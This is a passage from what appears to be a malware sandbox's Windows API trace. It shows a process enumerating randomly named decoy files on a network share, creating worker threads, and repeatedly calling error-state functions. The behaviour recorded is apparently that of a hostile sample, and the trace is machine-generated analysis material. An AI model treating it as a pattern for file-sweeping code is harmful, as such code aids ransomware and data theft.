[0139.879] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="vwYDXw6oVEHN2plf7.xls", cAlternateFileName="")) returned 1 [0139.879] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12190, dwReserved0=0x0, dwReserved1=0x0, cFileName="D5VR0w7cu20SVOPPmTeY.pdf", cAlternateFileName="")) returned 1 [0139.879] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xcf0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pEa7gL.ppt", cAlternateFileName="")) returned 1 [0139.879] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5d64, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSGieDhFJl7c1ARWbn5.avi", cAlternateFileName="")) returned 1 [0139.879] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1851f, dwReserved0=0x0, dwReserved1=0x0, cFileName="R7Kb10e3K.ppt", cAlternateFileName="")) returned 1 [0139.879] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x6142, dwReserved0=0x0, dwReserved1=0x0, cFileName="wM2fuYVT5vb5rvE.avi", cAlternateFileName="")) returned 1 [0139.879] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4496c23e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x53dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0O40RGXx.ods", cAlternateFileName="")) returned 1 [0139.881] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xfcef, dwReserved0=0x0, dwReserved1=0x0, cFileName="RKixholu7QWBM4vIh2Qr.ots", cAlternateFileName="")) returned 1 [0139.881] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1446d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z0KtpLCKl6lOwI.csv", cAlternateFileName="")) returned 1 [0139.881] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="b2RYQsRYMuiCI5kbmBC.avi", cAlternateFileName="")) returned 1 [0139.881] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf76c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OU7w0ZlZCz.png", cAlternateFileName="")) returned 1 [0139.881] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1025d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vHFD0HXkcrOt.ppt", cAlternateFileName="")) returned 1 [0139.881] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x14f11, dwReserved0=0x0, dwReserved1=0x0, cFileName="U2QSFlSKH2V.jpg", cAlternateFileName="")) returned 1 [0139.883] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x74a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NW3xaHb7.gif", cAlternateFileName="")) returned 1 [0139.883] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x82b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ybbGvlCczfIkCAzvoOo.ods", cAlternateFileName="")) returned 1 [0139.883] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11145, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEuRQDrOl9iFUCUZ.gif", cAlternateFileName="")) returned 1 [0139.883] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xebaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="oHbaMQLYen9icdKg.docx", cAlternateFileName="")) returned 1 [0139.884] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="8epnap.wav", cAlternateFileName="")) returned 1 [0139.884] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x67e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XhyKggx8pHn779f8mb.swf", cAlternateFileName="")) returned 1 [0139.885] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x82d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="l5waVaq5umcw.wav", cAlternateFileName="")) returned 1 [0139.889] FindClose (in: hFindFile=0x871820 | out: hFindFile=0x871820) returned 1 [0139.892] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x218c408 | out: hHeap=0x1d0000) returned 1 [0141.292] WaitForMultipleObjects (nCount=0x2, lpHandles=0x2f7fc38*=0x21c, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0141.847] CloseHandle (hObject=0x230) returned 1 [0141.955] CloseHandle (hObject=0x21c) returned 1 [0142.062] CloseHandle (hObject=0x104) returned 1 [0142.062] CloseHandle (hObject=0x224) returned 1 [0142.062] CloseHandle (hObject=0x228) returned 1 [0142.064] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c400 | out: hHeap=0x1d0000) returned 1 [0142.069] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167080 | out: hHeap=0x1d0000) returned 1 [0142.069] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0142.075] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217bf50 | out: hHeap=0x1d0000) returned 1 [0142.092] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0142.095] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1728 | out: hHeap=0x1d0000) returned 1 [0142.455] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d4ff0 | out: hHeap=0x1d0000) returned 1 Thread: id = 127 os_tid = 0x384 [0138.998] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x38) returned 0x21670a0 [0138.998] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x18) returned 0x21670e0 [0138.998] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2a0 [0138.998] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x29c [0138.998] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2a4 [0138.998] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x219c410 [0139.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xad3a08, lpParameter=0x31ef940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0139.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xad3a08, lpParameter=0x31ef940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0139.007] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x21ac418 [0139.008] FindFirstFileW (in: lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\*" (normalized: "\\\\192.168.0.1\\documents\\*"), lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1cfbf64, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0xb67be4c, ftLastAccessTime.dwHighDateTime=0x1d9300b, ftLastWriteTime.dwLowDateTime=0xb1cfbf64, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8717e0 [0139.506] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa583c4d7, ftCreationTime.dwHighDateTime=0x1d828c6, ftLastAccessTime.dwLowDateTime=0x33112c8c, ftLastAccessTime.dwHighDateTime=0x1d8d311, ftLastWriteTime.dwLowDateTime=0xa583c4d7, ftLastWriteTime.dwHighDateTime=0x1d828c6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.508] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd900, dwReserved0=0x0, dwReserved1=0x0, cFileName="4fcfIBg3Ryeoeu27DM.docx", cAlternateFileName="")) returned 1 [0139.521] GetLastError () returned 0x0 [0139.521] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x214) returned 0x1d5210 [0139.522] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x753b0000 [0139.780] GetCurrentThreadId () returned 0x384 [0139.780] SetLastError (dwErrCode=0x0) [0139.780] GetLastError () returned 0x0 [0139.780] SetLastError (dwErrCode=0x0) [0139.780] GetLastError () returned 0x0 [0139.780] SetLastError (dwErrCode=0x0) [0139.780] GetLastError () returned 0x0 [0139.781] SetLastError (dwErrCode=0x0) [0139.781] GetLastError () returned 0x0 [0139.781] SetLastError (dwErrCode=0x0) [0139.781] GetLastError () returned 0x0 [0139.781] SetLastError (dwErrCode=0x0) [0139.781] GetLastError () returned 0x0 [0139.781] SetLastError (dwErrCode=0x0) [0139.781] GetLastError () returned 0x0 [0139.781] SetLastError (dwErrCode=0x0) [0139.781] GetLastError () returned 0x0 [0139.782] SetLastError (dwErrCode=0x0) [0139.782] GetLastError () returned 0x0 [0139.782] SetLastError (dwErrCode=0x0) [0139.782] GetLastError () returned 0x0 [0139.782] SetLastError (dwErrCode=0x0) [0139.782] GetLastError () returned 0x0 [0139.782] SetLastError (dwErrCode=0x0) [0139.782] GetLastError () returned 0x0 [0139.782] SetLastError (dwErrCode=0x0) [0139.782] GetLastError () returned 0x0 [0139.782] SetLastError (dwErrCode=0x0) [0139.782] GetLastError () returned 0x0 [0139.782] SetLastError (dwErrCode=0x0) [0139.782] GetLastError () returned 0x0 [0139.782] SetLastError (dwErrCode=0x0) [0139.782] GetLastError () returned 0x0 [0139.782] SetLastError (dwErrCode=0x0) [0139.782] GetLastError () returned 0x0 [0139.782] SetLastError (dwErrCode=0x0) [0139.782] GetLastError () returned 0x0 [0139.782] SetLastError (dwErrCode=0x0) [0139.782] GetLastError () returned 0x0 [0139.783] SetLastError (dwErrCode=0x0) [0139.783] GetLastError () returned 0x0 [0139.783] SetLastError (dwErrCode=0x0) [0139.783] GetLastError () returned 0x0 [0139.783] SetLastError (dwErrCode=0x0) [0139.783] GetLastError () returned 0x0 [0139.783] SetLastError (dwErrCode=0x0) [0139.783] GetLastError () returned 0x0 [0139.783] SetLastError (dwErrCode=0x0) [0139.783] GetLastError () returned 0x0 [0139.783] SetLastError (dwErrCode=0x0) [0139.783] GetLastError () returned 0x0 [0139.783] SetLastError (dwErrCode=0x0) [0139.783] GetLastError () returned 0x0 [0139.783] SetLastError (dwErrCode=0x0) [0139.783] GetLastError () returned 0x0 [0139.783] SetLastError (dwErrCode=0x0) [0139.783] GetLastError () returned 0x0 [0139.783] SetLastError (dwErrCode=0x0) [0139.783] GetLastError () returned 0x0 [0139.783] SetLastError (dwErrCode=0x0) [0139.783] GetLastError () returned 0x0 [0139.784] SetLastError (dwErrCode=0x0) [0139.784] GetLastError () returned 0x0 [0139.784] SetLastError (dwErrCode=0x0) [0139.784] GetLastError () returned 0x0 [0139.784] SetLastError (dwErrCode=0x0) [0139.784] GetLastError () returned 0x0 [0139.784] SetLastError (dwErrCode=0x0) [0139.784] GetLastError () returned 0x0 [0139.784] SetLastError (dwErrCode=0x0) [0139.784] GetLastError () returned 0x0 [0139.784] SetLastError (dwErrCode=0x0) [0139.784] GetLastError () returned 0x0 [0139.784] SetLastError (dwErrCode=0x0) [0139.784] GetLastError () returned 0x0 [0139.784] SetLastError (dwErrCode=0x0) [0139.784] GetLastError () returned 0x0 [0139.784] SetLastError (dwErrCode=0x0) [0139.784] GetLastError () returned 0x0 [0139.784] SetLastError (dwErrCode=0x0) [0139.785] GetLastError () returned 0x0 [0139.785] SetLastError (dwErrCode=0x0) [0139.785] GetLastError () returned 0x0 [0139.785] SetLastError (dwErrCode=0x0) [0139.785] GetLastError () returned 0x0 [0139.785] SetLastError (dwErrCode=0x0) [0139.785] GetLastError () returned 0x0 [0139.785] SetLastError (dwErrCode=0x0) [0139.785] GetLastError () returned 0x0 [0139.785] SetLastError (dwErrCode=0x0) [0139.785] GetLastError () returned 0x0 [0139.785] SetLastError (dwErrCode=0x0) [0139.785] GetLastError () returned 0x0 [0139.785] SetLastError (dwErrCode=0x0) [0139.785] GetLastError () returned 0x0 [0139.785] SetLastError (dwErrCode=0x0) [0139.785] GetLastError () returned 0x0 [0139.785] SetLastError (dwErrCode=0x0) [0139.785] GetLastError () returned 0x0 [0139.785] SetLastError (dwErrCode=0x0) [0139.785] GetLastError () returned 0x0 [0139.785] SetLastError (dwErrCode=0x0) [0139.785] GetLastError () returned 0x0 [0139.786] SetLastError (dwErrCode=0x0) [0139.786] GetLastError () returned 0x0 [0139.786] SetLastError (dwErrCode=0x0) [0139.786] GetLastError () returned 0x0 [0139.786] SetLastError (dwErrCode=0x0) [0139.786] GetLastError () returned 0x0 [0139.786] SetLastError (dwErrCode=0x0) [0139.786] GetLastError () returned 0x0 [0139.786] SetLastError (dwErrCode=0x0) [0139.786] GetLastError () returned 0x0 [0139.786] SetLastError (dwErrCode=0x0) [0139.786] GetLastError () returned 0x0 [0139.786] SetLastError (dwErrCode=0x0) [0139.786] GetLastError () returned 0x0 [0139.786] SetLastError (dwErrCode=0x0) [0139.786] GetLastError () returned 0x0 [0139.786] SetLastError (dwErrCode=0x0) [0139.786] GetLastError () returned 0x0 [0139.787] SetLastError (dwErrCode=0x0) [0139.787] GetLastError () returned 0x0 [0139.787] SetLastError (dwErrCode=0x0) [0139.787] GetLastError () returned 0x0 [0139.787] SetLastError (dwErrCode=0x0) [0139.787] GetLastError () returned 0x0 [0139.787] SetLastError (dwErrCode=0x0) [0139.787] GetLastError () returned 0x0 [0139.787] SetLastError (dwErrCode=0x0) [0139.787] GetLastError () returned 0x0 [0139.787] SetLastError (dwErrCode=0x0) [0139.787] GetLastError () returned 0x0 [0139.787] SetLastError (dwErrCode=0x0) [0139.787] GetLastError () returned 0x0 [0139.787] SetLastError (dwErrCode=0x0) [0139.787] GetLastError () returned 0x0 [0139.787] SetLastError (dwErrCode=0x0) [0139.787] GetLastError () returned 0x0 [0139.787] SetLastError (dwErrCode=0x0) [0139.787] GetLastError () returned 0x0 [0139.787] SetLastError (dwErrCode=0x0) [0139.787] GetLastError () returned 0x0 [0139.788] SetLastError (dwErrCode=0x0) [0139.788] GetLastError () returned 0x0 [0139.788] SetLastError (dwErrCode=0x0) [0139.788] GetLastError () returned 0x0 [0139.788] SetLastError (dwErrCode=0x0) [0139.788] GetLastError () returned 0x0 [0139.788] SetLastError (dwErrCode=0x0) [0139.788] GetLastError () returned 0x0 [0139.788] SetLastError (dwErrCode=0x0) [0139.788] GetLastError () returned 0x0 [0139.788] SetLastError (dwErrCode=0x0) [0139.788] GetLastError () returned 0x0 [0139.788] SetLastError (dwErrCode=0x0) [0139.788] GetLastError () returned 0x0 [0139.788] SetLastError (dwErrCode=0x0) [0139.788] GetLastError () returned 0x0 [0139.788] SetLastError (dwErrCode=0x0) [0139.788] GetLastError () returned 0x0 [0139.788] SetLastError (dwErrCode=0x0) [0139.788] GetLastError () returned 0x0 [0139.789] SetLastError (dwErrCode=0x0) [0139.789] GetLastError () returned 0x0 [0139.789] SetLastError (dwErrCode=0x0) [0139.789] GetLastError () returned 0x0 [0139.789] SetLastError (dwErrCode=0x0) [0139.789] GetLastError () returned 0x0 [0139.789] SetLastError (dwErrCode=0x0) [0139.789] GetLastError () returned 0x0 [0139.789] SetLastError (dwErrCode=0x0) [0139.789] GetLastError () returned 0x0 [0139.789] SetLastError (dwErrCode=0x0) [0139.789] GetLastError () returned 0x0 [0139.789] SetLastError (dwErrCode=0x0) [0139.789] GetLastError () returned 0x0 [0139.789] SetLastError (dwErrCode=0x0) [0139.789] GetLastError () returned 0x0 [0139.789] SetLastError (dwErrCode=0x0) [0139.789] GetLastError () returned 0x0 [0139.789] SetLastError (dwErrCode=0x0) [0139.789] GetLastError () returned 0x0 [0139.789] SetLastError (dwErrCode=0x0) [0139.789] GetLastError () returned 0x0 [0139.790] SetLastError (dwErrCode=0x0) [0139.790] GetLastError () returned 0x0 [0139.790] SetLastError (dwErrCode=0x0) [0139.790] GetLastError () returned 0x0 [0139.790] SetLastError (dwErrCode=0x0) [0139.790] GetLastError () returned 0x0 [0139.790] SetLastError (dwErrCode=0x0) [0139.790] GetLastError () returned 0x0 [0139.790] SetLastError (dwErrCode=0x0) [0139.790] GetLastError () returned 0x0 [0139.790] SetLastError (dwErrCode=0x0) [0139.790] GetLastError () returned 0x0 [0139.790] SetLastError (dwErrCode=0x0) [0139.790] GetLastError () returned 0x0 [0139.790] SetLastError (dwErrCode=0x0) [0139.790] GetLastError () returned 0x0 [0139.790] SetLastError (dwErrCode=0x0) [0139.790] GetLastError () returned 0x0 [0139.790] SetLastError (dwErrCode=0x0) [0139.790] GetLastError () returned 0x0 [0139.790] SetLastError (dwErrCode=0x0) [0139.790] GetLastError () returned 0x0 [0139.791] SetLastError (dwErrCode=0x0) [0139.791] GetLastError () returned 0x0 [0139.791] SetLastError (dwErrCode=0x0) [0139.791] GetLastError () returned 0x0 [0139.791] SetLastError (dwErrCode=0x0) [0139.791] GetLastError () returned 0x0 [0139.791] SetLastError (dwErrCode=0x0) [0139.791] GetLastError () returned 0x0 [0139.791] SetLastError (dwErrCode=0x0) [0139.791] GetLastError () returned 0x0 [0139.791] SetLastError (dwErrCode=0x0) [0139.791] GetLastError () returned 0x0 [0139.792] SetLastError (dwErrCode=0x0) [0139.792] GetLastError () returned 0x0 [0139.792] SetLastError (dwErrCode=0x0) [0139.792] GetLastError () returned 0x0 [0139.792] SetLastError (dwErrCode=0x0) [0139.792] GetLastError () returned 0x0 [0139.792] SetLastError (dwErrCode=0x0) [0139.792] GetLastError () returned 0x0 [0139.792] SetLastError (dwErrCode=0x0) [0139.792] GetLastError () returned 0x0 [0139.792] SetLastError (dwErrCode=0x0) [0139.792] GetLastError () returned 0x0 [0139.792] SetLastError (dwErrCode=0x0) [0139.792] GetLastError () returned 0x0 [0139.792] SetLastError (dwErrCode=0x0) [0139.792] GetLastError () returned 0x0 [0139.792] SetLastError (dwErrCode=0x0) [0139.792] GetLastError () returned 0x0 [0139.792] SetLastError (dwErrCode=0x0) [0139.792] GetLastError () returned 0x0 [0139.792] SetLastError (dwErrCode=0x0) [0139.792] GetLastError () returned 0x0 [0139.793] SetLastError (dwErrCode=0x0) [0139.793] GetLastError () returned 0x0 [0139.793] SetLastError (dwErrCode=0x0) [0139.793] GetLastError () returned 0x0 [0139.793] SetLastError (dwErrCode=0x0) [0139.793] GetLastError () returned 0x0 [0139.793] SetLastError (dwErrCode=0x0) [0139.793] GetLastError () returned 0x0 [0139.793] SetLastError (dwErrCode=0x0) [0139.793] GetLastError () returned 0x0 [0139.793] SetLastError (dwErrCode=0x0) [0139.793] GetLastError () returned 0x0 [0139.793] SetLastError (dwErrCode=0x0) [0139.793] GetLastError () returned 0x0 [0139.793] SetLastError (dwErrCode=0x0) [0139.793] GetLastError () returned 0x0 [0139.793] SetLastError (dwErrCode=0x0) [0139.793] GetLastError () returned 0x0 [0139.793] SetLastError (dwErrCode=0x0) [0139.793] GetLastError () returned 0x0 [0139.793] SetLastError (dwErrCode=0x0) [0139.793] GetLastError () returned 0x0 [0139.794] SetLastError (dwErrCode=0x0) [0139.794] GetLastError () returned 0x0 [0139.794] SetLastError (dwErrCode=0x0) [0139.794] GetLastError () returned 0x0 [0139.794] SetLastError (dwErrCode=0x0) [0139.794] GetLastError () returned 0x0 [0139.794] SetLastError (dwErrCode=0x0) [0139.794] GetLastError () returned 0x0 [0139.794] SetLastError (dwErrCode=0x0) [0139.794] GetLastError () returned 0x0 [0139.794] SetLastError (dwErrCode=0x0) [0139.794] GetLastError () returned 0x0 [0139.794] SetLastError (dwErrCode=0x0) [0139.794] GetLastError () returned 0x0 [0139.794] SetLastError (dwErrCode=0x0) [0139.794] GetLastError () returned 0x0 [0139.794] 